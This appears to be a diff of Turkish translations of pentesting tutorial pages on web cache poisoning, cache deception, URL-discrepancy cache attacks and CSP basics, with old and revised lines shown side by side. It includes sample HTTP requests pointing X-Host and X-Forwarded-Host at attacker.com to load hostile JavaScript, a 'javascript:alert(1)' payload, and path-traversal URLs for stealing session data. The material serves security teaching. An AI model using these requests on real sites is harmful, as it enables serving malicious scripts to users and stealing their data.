1. **Anahtarsız Girdilerin Belirlenmesi**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
|
||||
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır.
|
||||
3. **Zehirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek zehirlendiği sürede etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
|
||||
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırgana fayda sağlayacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanılacağını bulmaktır.
|
||||
3. **Zehirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek zehirlenirken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
|
||||
|
||||
### Keşif: HTTP başlıklarını kontrol et
|
||||
|
||||
@ -25,7 +25,7 @@ Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **ba
|
||||
|
||||
### Keşif: Önbellek hata kodları
|
||||
|
||||
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum kodu ise**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
|
||||
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
|
||||
|
||||
Daha fazla seçenek bulabilirsiniz:
|
||||
|
||||
@ -43,22 +43,22 @@ Yanıtı değiştirebilecek **parametreleri ve başlıkları zorlamak için** [*
|
||||
```
|
||||
### Arka uç sunucudan zararlı bir yanıt elde etme
|
||||
|
||||
Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? DoS yapmak?...)
|
||||
Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
|
||||
|
||||
### Yanıtı önbelleğe alma
|
||||
|
||||
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını belirledikten sonra, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
|
||||
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını belirledikten sonra, sayfanın önbelleğe alınmasını sağlamanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeye devam etmeniz gerekebilir.
|
||||
|
||||
Yanıttaki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında değeri **`miss`** ve önbelleğe alındığında değeri **`hit`** olabilir.\
|
||||
Yanıttaki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\
|
||||
**`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, kullanıcı hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
|
||||
Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek** için kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, kullanıcı hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
|
||||
|
||||
Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
||||
Önbellek ile ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
||||
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin.
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning **testi** yapın ve çalışıp çalışmadığını kontrol edin.
|
||||
|
||||
## Sömürü Örnekleri
|
||||
## Kötüye Kullanım Örnekleri
|
||||
|
||||
### En kolay örnek
|
||||
|
||||
@ -97,9 +97,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### API anahtarını çalmak için yol geçişi ile önbellek zehirleme <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklıyor çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır.
|
||||
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklamaktadır çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır.
|
||||
|
||||
Bu, daha iyi bir şekilde de açıklanmıştır:
|
||||
Bu, daha iyi bir şekilde de açıklanmaktadır:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
|
||||
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, sayfanın yönlendirme ile nereye işaret ettiğini kontrol edebilirsiniz.
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde James Kettle'ın bulduğu zafiyet gibi:
|
||||
URL'deki isteği ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde James Kettle'ın bulduğu zafiyet gibi:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -142,9 +142,9 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### HTTP Cache Zehirlemesini HTTP Request Smuggling ile Kötüye Kullanma
|
||||
### HTTP Cache Zehirlemesini HTTP İstek Kaçırma ile Kötüye Kullanma
|
||||
|
||||
[Cache Poisoning saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
|
||||
[Cache Poisoning saldırılarını HTTP İstek Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
|
||||
|
||||
### Web Cache Zehirlemesi için Otomatik Test
|
||||
|
||||
@ -156,7 +156,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük bulunmadı, yalnızca ana bilgisayar, yol ve sorgu vardı.
|
||||
ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük bulunmadı, yalnızca ana bilgisayar, yol ve sorgu vardı.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -180,7 +180,7 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile
|
||||
|
||||
### Kullanıcı Aracı Kuralları
|
||||
|
||||
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıkları oluşturabilir.
|
||||
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıklarını ortaya çıkarabilir.
|
||||
|
||||
### Geçersiz Başlık Alanları
|
||||
|
||||
@ -192,9 +192,9 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
|
||||
|
||||
## Önbellek Aldatmacası
|
||||
|
||||
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
|
||||
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek hassas bilgileri içeren kaynakları yüklemelerini sağlamaktır**.
|
||||
|
||||
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalmış** olursunuz.
|
||||
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleri ile **tekrar** yanıt veriyorsa, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
|
||||
|
||||
Test edilecek diğer şeyler:
|
||||
|
||||
@ -203,7 +203,7 @@ Test edilecek diğer şeyler:
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif`
|
||||
- _Daha az bilinen uzantıları kullanın, örneğin_ `.avif`
|
||||
|
||||
Başka çok net bir örnek bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
|
||||
@ -211,7 +211,7 @@ Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.
|
||||
|
||||
**Önbellek proxy'sinin**, dosyaları **uzantıya** (_css_) göre **önbelleğe alacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü olacak, bu da bir _.css_ dosyası için beklenen `text/css` mime türü değildir.
|
||||
|
||||
[Cache Deceptions saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
|
||||
[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
|
||||
|
||||
## Otomatik Araçlar
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@ GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
X-Oversize-Hedear:Big-Value-000000000000000
|
||||
```
|
||||
- **HTTP Meta Karakteri (HMC) ve Beklenmeyen Değerler**
|
||||
- **HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler**
|
||||
|
||||
Bazı **zararlı meta karakterler** içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği atlatmalısınız.
|
||||
```
|
||||
@ -44,7 +44,7 @@ Invalid Header
|
||||
```
|
||||
- **HTTP Yöntem Aşımı Saldırısı (HMO)**
|
||||
|
||||
Eğer sunucu `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, sunucunun desteklemediği bir yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece kötü bir yanıt önbelleğe alınır:
|
||||
Eğer sunucu `X-HTTP-Method-Override`, `X-HTTP-Method` veya `X-Method-Override` gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, yöntemi değiştirerek geçerli bir sayfa talep etmek mümkündür, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınır:
|
||||
```
|
||||
GET /blogs HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
||||
@ -5,11 +5,11 @@
|
||||
Bu, önbellek zehirleme saldırıları gerçekleştirmek için önerilen tekniklerin bir özetidir **önbellek proxy'leri ve web sunucuları arasındaki tutarsızlıklardan yararlanarak.**
|
||||
|
||||
> [!NOTE]
|
||||
> Bu saldırının amacı, **önbellek sunucusunun statik bir kaynağın yüklendiğini düşünmesini sağlamak** ve böylece onu önbelleğe alırken, önbellek sunucusu yolun bir kısmını önbellek anahtarı olarak saklarken web sunucusunun başka bir yolu çözümlemesidir. Web sunucusu, kullanıcının hassas bilgilerini, XSS gibi kötü niyetli bir yükü veya örneğin saldırganın web sitesinden bir JS dosyası yüklemek için yönlendiren dinamik bir sayfayı yükleyecek gerçek yolu çözecektir.
|
||||
> Bu saldırının amacı **önbellek sunucusunun statik bir kaynağın yüklendiğini düşünmesini sağlamak** böylece önbelleğe alırken, önbellek sunucusu yolun bir kısmını anahtar olarak saklarken web sunucusu başka bir yolu yanıtlamaktadır. Web sunucusu, kullanıcının hassas bilgilerini, XSS gibi kötü niyetli bir yükü veya örneğin saldırganın web sitesinden bir JS dosyası yüklemek için yönlendiren dinamik bir sayfayı yükleyecek gerçek yolu çözecektir.
|
||||
|
||||
## Ayırıcılar
|
||||
|
||||
**URL ayırıcıları**, çerçeve ve sunucuya göre değişir, isteklerin nasıl yönlendirildiğini ve yanıtların nasıl işlendiğini etkiler. Bazı yaygın köken ayırıcıları şunlardır:
|
||||
**URL ayırıcıları** çerçeve ve sunucuya göre değişir, isteklerin nasıl yönlendirildiğini ve yanıtların nasıl işlendiğini etkiler. Bazı yaygın köken ayırıcıları şunlardır:
|
||||
|
||||
- **Noktalı virgül**: Matris değişkenleri için Spring'de kullanılır (örneğin, `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
|
||||
- **Nokta**: Ruby on Rails'de yanıt formatını belirtir (örneğin, `/MyAccount.css` → `/MyAccount`).
|
||||
@ -18,9 +18,9 @@ Bu, önbellek zehirleme saldırıları gerçekleştirmek için önerilen teknikl
|
||||
|
||||
Bu süreçten sonra diğer özel ayırıcılar bulunabilir:
|
||||
|
||||
- **Adım 1**: Önbelleğe alınamayan istekleri tanımlayın ve bunları potansiyel ayırıcıları olan URL'lerin nasıl işlendiğini izlemek için kullanın.
|
||||
- **Adım 1**: Önbelleğe alınamayan istekleri tanımlayın ve bunları potansiyel ayırıcıların nasıl işlendiğini izlemek için kullanın.
|
||||
- **Adım 2**: Yollara rastgele ekler ekleyin ve sunucunun yanıtını karşılaştırarak bir karakterin ayırıcı olarak işlev görüp görmediğini belirleyin.
|
||||
- **Adım 3**: Yanıtın değişip değişmediğini görmek için rastgele ekin öncesinde potansiyel ayırıcılar tanıtın, bu ayırıcı kullanımını gösterir.
|
||||
- **Adım 3**: Yanıtın değişip değişmediğini görmek için rastgele ekin önüne potansiyel ayırıcılar ekleyin, bu ayırıcı kullanımını gösterir.
|
||||
|
||||
## Normalizasyon & Kodlamalar
|
||||
|
||||
@ -29,18 +29,18 @@ Bu süreçten sonra diğer özel ayırıcılar bulunabilir:
|
||||
|
||||
### **Kodlamalar**
|
||||
|
||||
Farklı HTTP sunucuları ve proxy'leri, Nginx, Node ve CloudFront gibi, ayırıcıları farklı şekilde çözer, bu da CDNs ve köken sunucuları arasında tutarsızlıklara yol açar. Örneğin, web sunucusu bu dönüşümü gerçekleştirirse `/myAccount%3Fparam` → `/myAccount?param` ancak önbellek sunucusu anahtar olarak yolu `/myAccount%3Fparam` olarak saklarsa, bir tutarsızlık vardır. 
|
||||
Farklı HTTP sunucuları ve proxy'ler, Nginx, Node ve CloudFront gibi, ayırıcıları farklı şekilde çözer, bu da CDNs ve köken sunucuları arasında tutarsızlıklara yol açar. Örneğin, web sunucusu bu dönüşümü gerçekleştirirse `/myAccount%3Fparam` → `/myAccount?param` ancak önbellek sunucusu anahtar olarak yolu `/myAccount%3Fparam` olarak saklarsa, bir tutarsızlık vardır. 
|
||||
|
||||
Bu tutarsızlıkları kontrol etmenin bir yolu, yolu herhangi bir kodlama olmadan yükledikten sonra farklı karakterleri URL kodlaması ile istekler göndermek ve kodlanmış yol yanıtının önbellek yanıtından gelip gelmediğini kontrol etmektir.
|
||||
Bu tutarsızlıkları kontrol etmenin bir yolu, yolu herhangi bir kodlama olmadan yükledikten sonra farklı karakterleri URL kodlayarak istekler göndermek ve kodlanmış yol yanıtının önbellek yanıtından gelip gelmediğini kontrol etmektir.
|
||||
|
||||
### Nokta segmenti
|
||||
|
||||
Noktaların dahil olduğu yol normalizasyonu, önbellek zehirleme saldırıları için de oldukça ilginçtir. Örneğin, `/static/../home/index` veya `/aaa..\home/index`, bazı önbellek sunucuları bu yolları kendileri anahtar olarak önbelleğe alırken, diğerleri yolu çözebilir ve `/home/index`'i önbellek anahtarı olarak kullanabilir.\
|
||||
Noktaların dahil olduğu yol normalizasyonu, önbellek zehirleme saldırıları için de oldukça ilginçtir. Örneğin, `/static/../home/index` veya `/aaa..\home/index`, bazı önbellek sunucuları bu yolları kendileri anahtar olarak önbelleğe alırken, diğerleri yolu çözüp `/home/index`'i önbellek anahtarı olarak kullanabilir.\
|
||||
Daha önce olduğu gibi, bu tür istekler göndermek ve yanıtın önbellekten toplanıp toplanmadığını kontrol etmek, `/home/index`'e verilen yanıtın bu yollar istendiğinde gönderilen yanıt olup olmadığını belirlemeye yardımcı olur.
|
||||
|
||||
## Statik Kaynaklar
|
||||
|
||||
Birçok önbellek sunucusu, bir yanıt statik olarak tanımlandığında her zaman önbelleğe alır. Bu, şu nedenlerden olabilir:
|
||||
Birçok önbellek sunucusu, yanıt statik olarak tanımlanırsa her zaman bir yanıtı önbelleğe alır. Bu, şu nedenlerden olabilir:
|
||||
|
||||
- **Uzantı**: Cloudflare, aşağıdaki uzantılara sahip dosyaları her zaman önbelleğe alır: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
- Dinamik bir yanıtı önbelleğe almak için bir ayırıcı ve statik bir uzantı kullanarak, `/home$image.png` isteği `/home$image.png`'i önbelleğe alacak ve köken sunucusu `/home` ile yanıt verecektir.
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# İçerik Güvenlik Politikası (CSP) Atlatma
|
||||
# İçerik Güvenlik Politikası (CSP) Bypass
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir.
|
||||
|
||||
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikaya uyarak, tarayıcılar bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
|
||||
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
|
||||
|
||||
- Yanıt başlığı aracılığıyla uygulanmıştır:
|
||||
```
|
||||
@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Headers
|
||||
|
||||
CSP, bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
|
||||
CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
|
||||
|
||||
- `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
|
||||
- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir.
|
||||
|
||||
### Defining Resources
|
||||
|
||||
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kaynakları kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika:
|
||||
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -39,7 +39,7 @@ object-src 'none';
|
||||
```
|
||||
### Direktifler
|
||||
|
||||
- **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil.
|
||||
- **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil.
|
||||
- **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.
|
||||
- **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.
|
||||
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
|
||||
@ -50,13 +50,13 @@ object-src 'none';
|
||||
- **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
|
||||
- **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.
|
||||
- **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
|
||||
- **base-uri**: `<base>` öğeleri kullanarak yüklemek için izin verilen URL'leri belirtir.
|
||||
- **base-uri**: `<base>` öğeleri kullanarak yüklenebilecek izin verilen URL'leri belirtir.
|
||||
- **form-action**: Form gönderimleri için geçerli uç noktaları listeler.
|
||||
- **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
|
||||
- **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS'ye yeniden yazmalarını talimat verir.
|
||||
- **sandbox**: `<iframe>`'in sandbox niteliğine benzer kısıtlamalar uygular.
|
||||
- **report-to**: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.
|
||||
- **worker-src**: Worker, SharedWorker veya ServiceWorker betikleri için geçerli kaynakları belirtir.
|
||||
- **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
|
||||
- **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
|
||||
- **navigate-to**: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
|
||||
|
||||
@ -69,12 +69,12 @@ object-src 'none';
|
||||
- `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
|
||||
- `'unsafe-hashes'`: Belirli satır içi olay işleyicilerini etkinleştirir.
|
||||
- `'unsafe-inline'`: Satır içi `<script>` veya `<style>` gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
|
||||
- `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi betikler için bir beyaz liste.
|
||||
